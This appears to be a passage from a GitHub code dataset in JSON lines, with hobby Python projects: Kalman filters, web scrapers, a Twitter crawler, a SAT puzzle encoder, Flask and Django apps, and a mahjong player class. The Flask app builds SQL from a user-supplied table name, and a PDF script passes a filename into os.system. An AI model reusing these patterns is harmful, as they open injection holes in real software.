dot(H,P12) + R)) # Kalman filter gain\n mx_k = mx_k + dot(K,(y_k - my_k)) # state estimate\n # print K, mx_k\n P_k = dot(dot(K,R),K.T) + dot( dot( (eye(xDim) - dot(K,H)) , P_k) , (eye(xDim) - dot(K,H)).T )\n\n # print mx_k\n\n return (mx_k, P_k)\n\ndef ukf(f, mx_km1, P_km1, h, y_k, Q, R, args):\n \"\"\"\n EKF Extended Kalman Filter for nonlinear dynamic systems\n ekf(f,mx,P,h,z,Q,R) returns state estimate, x and state covariance, P \n for nonlinear dynamic system:\n x[k] = f(x[k-1],u[k-1]) + v[k-1]\n y[k] = h(x[k]) + w[k]\n where v ~ N(0,Q) meaning v is gaussian noise with covariance Q\n w ~ N(0,R) meaning w is gaussian noise with covariance R\n Inputs: f: function handle for f(x)\n mx_km1: state estimate last time step\n P_km1: estimated state covariance last time step\n h: fanction handle for h(x)\n y_k: current measurement\n Q: process noise covariance \n R: measurement noise covariance\n args: additional arguments to f(x, *args)\n Output: mx_k: \"a posteriori\" state estimate\n P_k: \"a posteriori\" state covariance\n \n Notation: mx_k = E[x_k] and my_k = E[y_k], where m stands for \"mean of\"\n \"\"\"\n \n # prior update\n # generate sigma-points\n xDim = mx_km1.size # dimension of the state\n sqrtnP = cholesky(xDim*P_km1)\n sm_km1 = list(add(mx_km1,sqrtnP))\n sm_km1.extend(list(add(mx_km1,-sqrtnP)))\n numSigP = len(sm_km1)\n # compute prior sigma points\n sp_k = []\n for s in sm_km1:\n sp_k.append(f(s, *args)[0]) # evaluate process model for each sigma point\n # compute prior statistics\n mx_k = 1.0/numSigP*sum(sp_k, axis=0) # estimate prior mean from prior sigma points\n P_k = zeros(P_km1.shape)\n for i in range(numSigP): # estimate prior variance from prior sigma points\n P_k = P_k+1.0/numSigP*(array(sp_k[i])[newaxis].T-array(mx_k)[newaxis].T)*(array(sp_k[i])[newaxis]-array(mx_k)[newaxis])\n P_k = P_k + Q # additive noise for testing purposes (add non-linear noise later)\n\n # measurement update\n if args[3] != 8:\n # print args[3]\n measm = h(mx_k, *args) # evaluate measurement model\n my_k = measm[0] # predict future output\n # H = numerical_jac(h, mx_k, *args) # linearize measurement model about predicted next state\n H = measm[1] # linearize measurement model about predicted next state\n P12 = dot(P_k, H.T) # cross covariance\n # print H, P12, my_k, R\n # print dot(H,P12) + R\n K = dot(P12, inv( dot(H,P12) + R)) # Kalman filter gain\n mx_k = mx_k + dot(K,(y_k - my_k)) # state estimate\n # print K, mx_k\n P_k = dot(dot(K,R),K.T) + dot( dot( (eye(xDim) - dot(K,H)) , P_k) , (eye(xDim) - dot(K,H)).T )\n\n # print mx_k\n\n return (mx_k, P_k)\n\n\n \ndef numerical_jac(f,x, *args):\n \"\"\"\n Function to compute the numerical jacobian of a vector valued function \n using final differences\n \"\"\"\n # numerical gradient and diagonal hessian\n y = f(x, *args)[0]\n \n jac = zeros( (y.size,x.size) )\n eps = 1e-5\n xp = copy(x)\n \n for i in range(x.size):\n xp[i] = x[i] + eps/2.0\n yhi = f(xp, *args)[0]\n xp[i] = x[i] - eps/2.0\n ylo = f(xp, *args)[0]\n xp[i] = x[i]\n jac[:,i] = (yhi - ylo) / eps\n return jac\n","repo_name":"RoyaFiroozi/barc","sub_path":"components/src/observers.py","file_name":"observers.py","file_ext":"py","file_size_in_byte":8293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43949975219","text":"# name: inventory_item.py\n# author: Jordan Stremming\n#\n# Model for item in inventory\n#\nimport locale\n\nlocale.setlocale(locale.LC_ALL, '')\n\n\nclass InventoryItem:\n def __init__(self, id_=None, name=\"\", description=\"\",\n price=0.00, category=None, qty=0):\n \"\"\"\n Creates an item for the inventory.\n\n :param id_: int, optional, id of item\n :param name: str, name of item\n :param description: str, description of item\n :param price: float, cost of item\n :param category: ItemCategory, enumerator\n :param qty: int, quantity of item\n \"\"\"\n self.id_ = id_\n self.name = name\n self.description = description\n self.price = price\n self.category = category\n self.quantity = qty\n\n @property\n def price_as_str(self):\n return locale.currency(self.price)\n","repo_name":"Techzune/SWA_Assn3","sub_path":"models/inventory_item.py","file_name":"inventory_item.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6742156074","text":"import requests\nfrom requests.exceptions import RequestException\nimport re\nimport json\nfrom multiprocessing import Pool\n\n\ndef get_one_page_source(url):\n \"\"\"\n 请求url,返回源码\n :param url: 传入的url\n :return: 成功返回页面源码,否则返回None\n \"\"\"\n headers = {\n 'User-Agent': 'Mozilla/5.0(X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari / 537.36',\n }\n try:\n response = requests.get(url, headers=headers)\n if response.status_code == 200:\n return response.text\n return None\n except RequestException:\n return None\n\n\ndef parse_one_page(html):\n \"\"\"\n 用正则表达式解析源码,提取数据\n :param html: 源码\n :return: \n \"\"\"\n pattern = re.compile('<dd>.*?board-index.*?\">(\\d+)</i>.*?data-src=\"(.*?)\".*?name\"><a.*?\">(.*?)</a>.*?star\">(.*?)'\n +'</p>.*?releasetime\">(.*?)</p>.*?integer\">(.*?)</i>.*?fraction\">(.*?)</i>.*?</dd>', re.S)\n items = re.findall(pattern, html)\n # print(\"======\",html) # 下面定义了生成器, 不迭代生成器这里打印没有效果\n for item in items:\n yield { # 生成器\n 'index': item[0],\n 'image': item[1],\n 'title': item[2],\n 'actor': item[3].strip()[3:], # 去掉空白字符,然后去掉‘主演:’ 这三个字符\n 'time': item[4].strip()[5:], # 去掉空白字符,然后去掉‘上映时间:’ 这五个字符\n 'score': item[5]+item[6]\n }\n\n\ndef write_to_file(content):\n with open('result.txt', 'a', encoding='utf8') as f:\n f.write(json.dumps(content, ensure_ascii=False) + '\\n') # 要存储中文, 这两个都不能少\n\n\ndef main(offset):\n \"\"\"\n :param url: 传入的url\n :return: \n \"\"\"\n url = \"http://maoyan.com/board/4?offset=\" + str(offset)\n html = get_one_page_source(url)\n if html:\n for item in parse_one_page(html):\n write_to_file(item)\n else:\n print('requests error!')\n\n\nif __name__ == '__main__':\n # for i in range(10):\n # main(i*10)\n pool = Pool() # 实例化一个进程池, 如果进程池还有剩余,当有新任务时,就会新开一个进程去处理这个新任务\n pool.map(main, [i*10 for i in range(10)])","repo_name":"txowner/spider_study","sub_path":"Maoyantop100/my_spider.py","file_name":"my_spider.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"35837650683","text":"from clause import *\n\n\"\"\"\nFor the tapestry problem, the only code you have to do is in this file.\n\nYou should replace\n\n# your code here\n\nby a code generating a list of clauses modeling the queen problem\nfor the input file.\n\nYou should build clauses using the Clause class defined in clause.py\n\nRead the comment on top of clause.py to see how this works.\n\"\"\"\n\n# python3 solve_linux.py instances/i01.txt\n\ndef get_expression(size, fixed_cells=None):\n\n expression = []\n\n # A Clause is a set of literals linked by an OR\n # All the clauses are linked by an AND\n\n # Add the fixed cells\n if fixed_cells is not None:\n for i in range(len(fixed_cells)):\n fixed_clause = Clause(size)\n fixed_clause.add_positive(fixed_cells[i][0], fixed_cells[i][1], fixed_cells[i][2], fixed_cells[i][3])\n expression.append(fixed_clause)\n\n # This must not be adde (because it is take into account in the other loops)\n # But its speedup calculus a little bit\n constrain_clause = Clause(size)\n for p in range(size):\n for q in range(size):\n if p != fixed_cells[i][0] or q != fixed_cells[i][1]:\n constrain_clause.add_negative(p, q, fixed_cells[i][2], fixed_cells[i][3])\n expression.append(constrain_clause)\n\n # There is only one shape and one color per cell : !C(ijab) or !C(ija2b2) for all a2, b2 != a, b\n # Each pair shape/color must be unique : !C(ijab) or !C(ijab), i, j != i2, j2\n for i in range(size):\n for j in range(size):\n for a in range(size):\n for b in range(size):\n for a2 in range(size):\n for b2 in range(size):\n if a != a2 or b != b2:\n # Only one per cell\n single_clause = Clause(size)\n single_clause.add_negative(i, j, a, b)\n single_clause.add_negative(i, j, a2, b2)\n expression.append(single_clause) \n \n # It must be unique \n unique_clause = Clause(size)\n unique_clause.add_negative(a, b, i, j)\n unique_clause.add_negative(a2, b2, i, j)\n expression.append(unique_clause) \n\n # Each shape and each color must be found in each line \n # Each shape and each color must be found in each column\n for i in range(size): # For one line or column\n for p in range(size): # For one shape or color\n line_shape_clause = Clause(size)\n line_color_clause = Clause(size)\n column_shape_clause = Clause(size)\n column_color_clause = Clause(size)\n for j in range(size): # For all the other lines or columns\n for q in range(size): # For all the other lines or columns\n line_shape_clause.add_positive(i, j, p, q)\n line_color_clause.add_positive(i, j, q, p)\n column_shape_clause.add_positive(j, i, p, q)\n column_color_clause.add_positive(j, i, q, p)\n expression.append(line_shape_clause)\n expression.append(line_color_clause)\n expression.append(column_shape_clause)\n expression.append(column_color_clause)\n\n return expression\n\n\nif __name__ == '__main__':\n expression = get_expression(3)\n for clause in expression:\n print(clause)\n","repo_name":"megaaa13/AI-LINFO1361","sub_path":"Assignement4/tapestry/tapestry_solver.py","file_name":"tapestry_solver.py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42213784581","text":"\nimport tweepy\nimport pandas as pd\nimport numpy as np\nimport csv\n\n# Masukan API Twitter Developer Premium\nconsumer_key = \" \" \nconsumer_secret = \" \" \naccess_token = \" \" \naccess_token_secret = \" \" \n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret) \nauth.set_access_token(access_token, access_token_secret) \napi = tweepy.API(auth,wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n\ntweets = tweepy.Cursor(api.search_30_day,\n environment_name='dev',\n query=\"from:afrkml Covid-19\").items()\npilihan = open('dataset.csv', 'w',encoding=\"utf-8\")\njaw = csv.writer(pilihan, lineterminator='\\n')\njaw.writerow(['count', 'tweet','from','to'])\nj=0\ntweetID_list = []\nfor tweet in tweets:\n tweet_id = tweet.id_str\n tweetID_list.append(tweet_id)\n\nrep_tweets = tweepy.Cursor(api.search_30_day,\n environment_name='dev',\n query='to:afrkml').items(200)\n\ncount = 0\nfolls_list = []\nfor rep in rep_tweets:\n for twu in tweetID_list:\n if rep.in_reply_to_status_id_str == twu:\n jaw.writerow([count, rep.text, rep.user.screen_name, rep.in_reply_to_screen_name])\n folls_list.append(rep.user.screen_name)\n count += 1\n\nmax_search = 0\nid_list = []\nwhile max_search<5:\n for f in folls_list:\n q = 'to:'+f\n rep_folls = tweepy.Cursor(api.search_30_day,\n environment_name='dev',\n query=q).items(200)\n for rep in rep_folls:\n if rep.id_str not in id_list:\n jaw.writerow([count, rep.text, rep.user.screen_name, rep.in_reply_to_screen_name])\n folls_list.append(rep.user.screen_name)\n id_list.append(rep.id_str)\n count += 1\n\n max_search += 1\n folls_list = []\n\n","repo_name":"brahma27/Crawling-Dataset-Twitter-Chain-Network-","sub_path":"Crawler_Twitter.py","file_name":"Crawler_Twitter.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32586174979","text":"\"\"\"from PDF to MP3\"\"\"\n# Зависимости\nimport pdfplumber\nfrom art import *\nfrom gtts import gTTS\nfrom pathlib import Path\nimport time\nimport os\n\n\ndef pdf_to_mp3(file_path=\"test.pdf\", language='ru'):\n time.sleep(3)\n if Path(file_path).is_file() and Path(file_path).suffix == '.pdf':\n print(f\"[+] Original file: {Path(file_path).name}\")\n print(\"[+] Processing....\")\n with pdfplumber.PDF(open(file=file_path, mode='rb')) as pdf:\n\n pages = [page.extract_text() for page in pdf.pages]\n text = ''.join(pages)\n my_audio = gTTS(text=text, lang=language, slow=False)\n file_name = Path(file_path).stem\n my_audio.save(f\"{file_name}.mp3\")\n print(f\"[+] {file_name}.mp3 has saved successfully\\n---Have a good day!---\")\n return os.system(f\"afplay {file_name}.mp3\")\n else:\n return 'File does not exist'\n\n\ndef main():\n tprint(\"PDF>>T0>>MP3\", font=\"white bubble\")\n file_path = input(\"\\nEnter the file's path:\\n\")\n print(pdf_to_mp3(file_path=file_path))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"NickSheva/PdfToMp3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72754782641","text":"__author__ = 'Alex Haslehurst'\n\n\nclass RetroImage:\n def __init__(self, description, url, width, height, thumb_url):\n self.thumb_url = thumb_url\n self.height = height\n self.width = width\n self.url = url\n self.description = description\n\n def __str__(self, *args, **kwargs):\n return \"%s, %s (%sx%s), %s\" % (\n self.description, self.url, self.width, self.height, self.thumb_url)\n\n\nclass RetroSystem:\n def __init__(self, platform_name, platform, path, extensions):\n self.platform_name = platform_name\n self.platform = platform\n self.extensions = extensions\n self.path = path\n\n\nclass Rom:\n def __init__(self, source, file_name, title, description, boxart_front, boxart_back, release_date, publisher, developer,\n genre, rating, players):\n self.file_name = file_name\n self.source = source\n self.title = title\n self.description = description\n self.boxart_front = boxart_front\n self.boxart_back = boxart_back\n self.release_date = release_date\n self.publisher = publisher\n self.developer = developer\n self.genre = genre\n self.rating = rating\n self.players = players\n self.image = \"\"\n\n def __str__(self, *args, **kwargs):\n return \"%s, %s, %s, %s, %s, %s, %s\\n%s\\n%s\\n%s\" % (\n self.title, self.release_date, self.publisher, self.developer, self.genre, self.rating, self.players,\n self.boxart_front, self.boxart_back, self.description)","repo_name":"axle-h/retro-scrapers","sub_path":"axh/retro/scrapers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70042926642","text":"# Tendo como dado de entrada a altura (h) de uma pessoa,\n# construa um algoritmo que calcule seu\n# peso ideal, utilizando as seguintes fórmulas:\n\naltura = float(input('Qual a sua altura?'))\ngenero = input('voce é homem ou mulher? (H - M)')\n\nif genero == 'H':\n peso1 = (72.7 * altura) - 58\n print('voce é {} e seu peso ideal é de:{}'.format(genero, peso1))\nelif genero == 'M':\n peso2 = (62.1 * altura) - 44.7\n print('voce é {} e seu peso ideal é de:{}'.format(genero, peso2))\nelse:\n print('valor inválido!')\n","repo_name":"lRauane/Logica_e_algoritmos_Python","sub_path":"aula3 - Estrutura de Decisão/ex016.py","file_name":"ex016.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9601908604","text":"import numpy as np\nimport torch\nimport matplotlib.pyplot as plt\nfrom data.transforms import Resize\nimport cv2\n\ndef acc_metric(predb, yb):\n return (predb.argmax(dim=1) == yb.cuda()).float().mean()\n\ndef dice_score(predb, yb):\n predb = predb.argmax(dim=1)\n predb = predb.view(-1)\n yb = yb.view(-1)\n intersection = (predb * yb).sum() \n dice = (2*intersection)/(predb.sum() + yb.sum())\n return dice\n\ndef dice_score_multiclass(predb, yb, num_classes, shapes=None, padding=None, smooth = 0.00001,org_targets=None): #num_classes should not include background\n if type(predb) == torch.Tensor:\n predb = predb.cpu().detach().numpy()\n if type(yb) == torch.Tensor:\n yb = yb.cpu().detach().numpy()\n \n predb = np.argmax(predb, axis=1)\n reshaped_predb = []\n reshaped_yb = []\n if shapes is not None and padding is not None:\n if org_targets is not None:\n for shape, padding, p, y, org_target in zip(shapes, padding, predb, yb, org_targets):\n x_org, y_org = y.shape\n x_lim = x_org - padding[0]\n y_lim = y_org - padding[1]\n\n reshaped_predb.extend(cv2.resize(p[:x_lim, :y_lim].astype(np.float32), dsize=tuple(reversed(shape)), interpolation=cv2.INTER_LINEAR).flat)\n reshaped_yb.extend(org_target.flat)\n else:\n for shape, padding, p, y in zip(shapes, padding, predb, yb):\n x_org, y_org = y.shape\n x_lim = x_org - padding[0]\n y_lim = y_org - padding[1]\n\n reshaped_predb.extend(cv2.resize(p[:x_lim, :y_lim].astype(np.float32), dsize=tuple(reversed(shape)), interpolation=cv2.INTER_LINEAR).flat)\n reshaped_yb.extend(cv2.resize(y[:x_lim, :y_lim].astype(np.float32), dsize=tuple(reversed(shape)), interpolation=cv2.INTER_LINEAR).flat)\n\n predb = np.array(reshaped_predb)\n \n yb = np.array(reshaped_yb)\n \n \n \n\n dice = np.zeros((1,num_classes))\n \n\n #predb = predb.view(-1)\n #yb = yb.view(-1)\n\n predb = predb.flat\n yb = yb.flat\n\n\n \n\n for i in range(1,num_classes+1):\n class_predb = np.where(predb == i, 1,0) \n class_yb = np.where(yb == i, 1,0)\n\n intersection = (class_predb * class_yb).sum()\n class_dice = (2*intersection)/(class_predb.sum() + class_yb.sum() + smooth) \n #class_dice_np = class_dice.clone().cpu() \n #dice[0][i-1] = class_dice_np.numpy()\n dice[0][i-1] = class_dice\n \n\n return dice\n\n","repo_name":"Hlanden/TDT4265-Final-Project","sub_path":"utils/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19682818024","text":"import csv\nimport copy\nimport random\n\ntemplate = {\"date\": \"\", \"new_cases\": 0, \"deaths\": 0, \"recovered\": 0}\n\ndata = []\nwith open('project1/covid_data.csv', 'r') as file:\n reader = csv.reader(file)\n next(reader) # Skip the header row\n for row in reader:\n day_data = copy.deepcopy(template)\n day_data[\"date\"] = row[0]\n day_data[\"new_cases\"] = int(row[1])\n day_data[\"deaths\"] = int(row[2])\n day_data[\"recovered\"] = int(row[3])\n data.append(day_data)\n\ntotal_cases = sum(day[\"new_cases\"] for day in data)\ntotal_deaths = sum(day[\"deaths\"] for day in data)\ntotal_recoveries = sum(day[\"recovered\"] for day in data)\n\n\nprint(f\"Total cases: {total_cases}\")\nprint(f\"Total deaths: {total_deaths}\")\nprint(f\"Total recoveries: {total_recoveries}\")\n\naverage_cases = total_cases / len(data)\nprint(f\"Average new cases per day: {average_cases}\")\n\n\nrandom_day = random.choice(data)\nprint(f\"Data for {random_day['date']}:\")\nprint(f\"New cases: {random_day['new_cases']}\")\nprint(f\"Deaths: {random_day['deaths']}\")\nprint(f\"Recovered: {random_day['recovered']}\")","repo_name":"safwan-kher/aws_restart","sub_path":"livecode/solutions/project1/project1.py","file_name":"project1.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5918663612","text":"from flask import Flask, render_template, request, redirect, session, url_for\nfrom data_to_db_live import live_click, updater\n#from flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import create_engine\n\napp = Flask(__name__)\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///historic.db'\n# app.config['SQLALCHEMY_BINDS'] = {\n# 'hist_db' : 'sqlite:///historic_database.db',\n# 'live_db': 'sqlite:///live_database.db'\n# }\n\n#db = SQLAlchemy(app)\nengine = create_engine('sqlite:///historic.db')\nconn = engine.connect()\n\n\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=80, debug=True)\n\nimport sqlite3\n\n###-------- for historic data ----------##\nconn=sqlite3.connect('historic_database.db', check_same_thread=False)\ncurs=conn.cursor()\n\n\n\ndef getHistData (numSamples, table_name):\n curs.execute(\"SELECT * FROM {0} ORDER BY Date DESC LIMIT \".format(table_name) + str(numSamples))\n data = curs.fetchall()\n #conn.close()\n dates = []\n close = []\n # conn.commit()\n # conn.close()\n for row in reversed(data):\n dates.append(row[0])\n close.append(row[4])\n return dates, close\n\n# def maxRowsTable():\n# \tfor row in conn.execute(\"select COUNT(*) from BTC_GBP\"):\n# \t\tmaxNumberRows=row[0]\n# \treturn maxNumberRows\n\n# define and initialize global variables\nglobal numSamples\nnumSamples = 10\n\n#tables = [\"BTC_GBP\", \"ETH_GBP\", \"BNB_GBP\"]\ntables = [] # list\n \ndef histroicDataControl():\n with open('currency_list/1.txt') as f:\n for line in f:\n tables.append(line.strip().replace('-', '_').replace('1', '_'))\n return tables\nhistroicDataControl()\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n if request.method == \"GET\":\n dates, close = getHistData(numSamples, table_name='BTC_GBP')\n return render_template(\n template_name_or_list='chart.html',\n data=close,\n labels=dates, \n table_name='BTC_GBP',\n )\n elif request.method == \"POST\":\n table = request.form.get('cars')\n print(table, \"in index\")\n dates, close = getHistData(numSamples, table_name=table)\n return render_template(template_name_or_list='chart.html',\n data=close,\n labels=dates, \n table_name=table,)\n \nconn_live=sqlite3.connect('live_database.db', check_same_thread=False)\ncurs_live=conn_live.cursor()\n\ndef getHistDataLive (table_nameLive):\n curs_live.execute(\"SELECT * FROM {0} ORDER BY Date DESC LIMIT \".format(table_nameLive) + str(10))\n data_live = curs_live.fetchall()\n dates__live = []\n close_live = []\n # conn_live.commit()\n # conn_live.close()\n for row in reversed(data_live):\n dates__live.append(row[0])\n close_live.append(row[4])\n return dates__live, close_live\n\n##--- for live data ---------##\n@app.route(\"/live\", methods=[\"GET\", \"POST\"])\ndef live():\n #curs.close()\n #updater()\n #sample = 2\n if request.method == \"GET\":\n dates_live, close_live = getHistDataLive(table_nameLive='BTC_GBP')\n #live_click(table = 'BTC_GBP', currency='BTC-GBP')\n return render_template(\n template_name_or_list='chart_live.html',\n close_live= close_live,\n dates_live= dates_live, \n table_live='BTC_GBP',)\n elif request.method ==\"POST\":\n table_live = request.form.get('currency')\n currency = table_live.replace('_', '-').replace('_', '1')\n print(table_live, currency)\n #live_click(table = table_live, currency=currency)\n dates_live, close_live = getHistDataLive(table_nameLive=table_live)\n return render_template(template_name_or_list='chart_live.html',\n close_live= close_live,\n dates_live= dates_live, \n table_live= table_live,) \n\n\n\n\n# @app.route(\"/refresh\")\n# def refresh():\n# return redirect(url_for(\"live\"))\n\n","repo_name":"abhiwer/stock_historic_data","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1699083952","text":"from django.db import models\nfrom django.contrib.auth.models import User\n# Create your models here.\n# 게시글 모델\nclass Board(models.Model):\n # subject를 문자열 필드로 선언, 최대길이 200자\n subject = models.CharField(max_length=200)\n # content를 텍스트 필드로 선언\n content = models.TextField()\n # 작성자필드 선언, User를 참조하는 외래키이고, User객체가 삭제되면 같이 삭제되도록 설정\n author = models.ForeignKey(User, on_delete=models.CASCADE)\n # 객체(게시글)가 처음 생성될때 자동으로 작성시간 설정\n create_date = models.DateTimeField(auto_now_add=True)\n # 객체(게시글)를 수정할 때마다 자동으로 시간 갱신, blank=True옵션을 통해 수정날짜에 빈값을 할당할 수도 있다\n update_date = models.DateTimeField(auto_now=True)\n\n # 객체가 문자열로 표현될 때 호출\n # 게시판에 글의 제목이 목록에 나오도록 설정\n def __str__(self):\n # [id] subject 형식으로 출력\n # id와 subject는 각각 객체의 id와 subject 속성값\n return f'[{self.id}] {self.subject}'\n\n# 댓글 모델\nclass Comment(models.Model):\n # board를 외래키로 정의 on_delete=models.CASCADE는 Board객체가 삭제되면 Comment객체도 같이 삭제되도록 지정\n board = models.ForeignKey(Board, on_delete=models.CASCADE)\n # blank=True는 이 항목은 Null을 허용한다는 의미이다\n content = models.TextField()\n # 위의 게시글 모델과 동일하게 작성해준다\n author = models.ForeignKey(User, on_delete=models.CASCADE)\n # 좋아요 필드 생성, 비어있는 값을 허용하며 디폴트값으로 0\n # models에서 null옵션을 통해 필드값이 null/not null 허용유무 선택\n # 값을 ''와 같이 null이 아닌값으로 채우고자 할때 blank옵션을 사용(null입력을 방지하기 위함)\n # 즉, 빈 값을 허용하는 경우, default 값을 \"\"로, 즉 빈 문자열로 설정한다고 이해하면 될 듯 하다\n # like = models.IntegerField(blank=True, default=0)\n create_date = models.DateTimeField(auto_now_add=True)\n update_date = models.DateTimeField(auto_now=True)\n\n # 댓글을 내림차순(최신순)으로 정렬\n class Meta:\n ordering = ['-create_date']\n\n def __str__(self):\n # 게시글의 번호와 그 게시글의 댓글임을 명시\n # 원하는 항목을 불러와서 커스터마이징 가능\n return f'[ {self.board.id}: {self.board.subject}] {self.content}'","repo_name":"jcm821/bbsnote","sub_path":"bbsnote/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38227328403","text":"\"\"\"Support for Vivint garage doors.\"\"\"\nfrom homeassistant.components.cover import (\n DEVICE_CLASS_GARAGE,\n SUPPORT_CLOSE,\n SUPPORT_OPEN,\n CoverEntity,\n)\nfrom vivintpy.devices.garage_door import GarageDoor\n\nfrom .const import DOMAIN\nfrom .hub import VivintEntity\n\n\nasync def async_setup_entry(hass, config_entry, async_add_entities):\n \"\"\"Set up Vivint garage doors using config entry.\"\"\"\n entities = []\n hub = hass.data[DOMAIN][config_entry.entry_id]\n\n for system in hub.account.systems:\n for alarm_panel in system.alarm_panels:\n for device in alarm_panel.devices:\n if type(device) is GarageDoor:\n entities.append(VivintGarageDoorEntity(device=device, hub=hub))\n\n if not entities:\n return\n\n async_add_entities(entities, True)\n\n\nclass VivintGarageDoorEntity(VivintEntity, CoverEntity):\n \"\"\"Vivint Garage Door.\"\"\"\n\n @property\n def is_opening(self) -> bool:\n \"\"\"Return whether this device is opening.\"\"\"\n return self.device.is_opening\n\n @property\n def is_closing(self) -> bool:\n \"\"\"Return whether this device is closing.\"\"\"\n return self.device.is_closing\n\n @property\n def is_closed(self) -> bool:\n \"\"\"Return whether this device is closed.\"\"\"\n return self.device.is_closed\n\n @property\n def device_class(self):\n \"\"\"Return the list of supported features.\"\"\"\n return DEVICE_CLASS_GARAGE\n\n @property\n def supported_features(self) -> int:\n \"\"\"Return the list of supported features.\"\"\"\n return SUPPORT_CLOSE | SUPPORT_OPEN\n\n @property\n def unique_id(self):\n \"\"\"Return a unique ID.\"\"\"\n return f\"{self.device.alarm_panel.id}-{self.device.id}\"\n\n async def async_close_cover(self, **kwargs):\n \"\"\"Close cover.\"\"\"\n await self.device.close()\n\n async def async_open_cover(self, **kwargs):\n \"\"\"Open the cover.\"\"\"\n await self.device.open()\n","repo_name":"cameroncockrell/hacs-vivint","sub_path":"custom_components/vivint/cover.py","file_name":"cover.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36289495365","text":"# coding: utf-8\n\nimport json\nimport time\nimport types\nimport weakref\n\nfrom tornado.ioloop import IOLoop\n\nfrom logic.player_proto_mgr import PlayerProtoMgr\nfrom behavior_tree.forest import is_ready_hand\nfrom protocol import game_pb2\nfrom protocol.commands import *\nfrom protocol.serialize import send\nfrom settings import redis, dismiss_delay\nfrom state.machine import Machine\nfrom state.player_state.ready import ReadyState\nfrom state.status import table_state_code_map, player_state_code_map\nfrom rules.define import *\nfrom behavior_tree.base import *\n\n\nclass Player(object):\n def __init__(self, uuid, info, session, table):\n super(Player, self).__init__()\n self.uuid = uuid\n self.table = weakref.proxy(table)\n self.info = info\n self.seat = None\n self.prev_seat = None\n self.next_seat = None\n self.session = session\n self.is_online = True\n self.state = None\n self.vote_state = None\n self.vote_timer = None\n self.status = 0\n self.event = None\n self.isTing = False\n self.can_look_bao = False\n self.isJia = False\n self.tmpTingCard = 0 #用于临时存储听牌判断中的添加牌\n self.win_card_group = {}\n\n\n self.machine = None\n Machine(self)\n\n self.score = 0\n self.total = 0\n self.kong_total = 0\n self.win_total_cnt = 0\n self.total_chong_bao = 0\n self.win_draw_cnt = 0\n self.win_discard_cnt = 0\n self.big_win_draw_cnt = 0\n self.big_win_discard_cnt = 0\n self.small_win_draw_cnt = 0\n self.small_win_discard_cnt = 0\n self.pao_cnt = 0\n self.is_owner = 0\n self.is_yao_fail = False\n self.last_yao_card = 0\n self.last_gang_card = 0\n\n self.cards_in_hand = []\n self.cards_group = []\n self.cards_discard = []\n self.cards_chow = []\n self.cards_pong = []\n self.cards_kong_exposed = [] # 明杠牌\n self.cards_kong_concealed = [] # 暗杠牌\n self.cards_ready_hand = []\n self.cards_draw_niao = []\n self.cards_win = []\n self.kong_exposed_cnt = 0 # 放杠,我杠别人\n self.gang_pao_card = 0\n self.kong_concealed_cnt = 0 # 暗杠\n self.kong_discard_cnt = 0 # 明杠,别人杠我\n self.kong_pong_cnt = 0 # 明杠\n self.draw_cnt = 0 # 抓牌数量\n self.gang_score = 0\n self.last_discard_kong = None\n\n # 漏胡的牌\n self.miss_win_cards = []\n self.miss_pong_cards = []\n self.miss_gang_cards = []\n self.draw_card = 0\n self.draw_kong_exposed_card = 0\n # 胡的牌\n self.win_card = 0\n # 胡牌类型:点炮 自摸\n self.win_type = 0\n # 胡牌牌型:将将胡 | 碰碰胡 | 七小对 | 。。。\n self.win_flags = []\n self.offline_cmd_stack = []\n\n self.prompts = 0\n # 提示ID\n self.prompt_id = 0\n # 动作\n self.action_dict = {}\n self.action_id = 0\n self.action_weight = 0\n self.action_rule = None\n self.action_ref_cards = None\n self.action_op_card = None\n # self.had_check_kong = False\n # self.had_check_ting_kong = False\n # 已经胡的牌,以及拆出来的牌组\n self.has_win_cards = {}\n # 杠的次数\n self.kong_times = 0\n #每局累积分,因为在最后才更改得分所以用这个来缓存\n self.temp_total_score = 0\n # 已经胡的牌组,可以用来显示\n self.has_win_cards_list = []\n self.proto = PlayerProtoMgr(self)\n\n def dumps(self):\n data = {}\n for key, value in self.__dict__.items():\n if key == \"table\":\n data[key] = 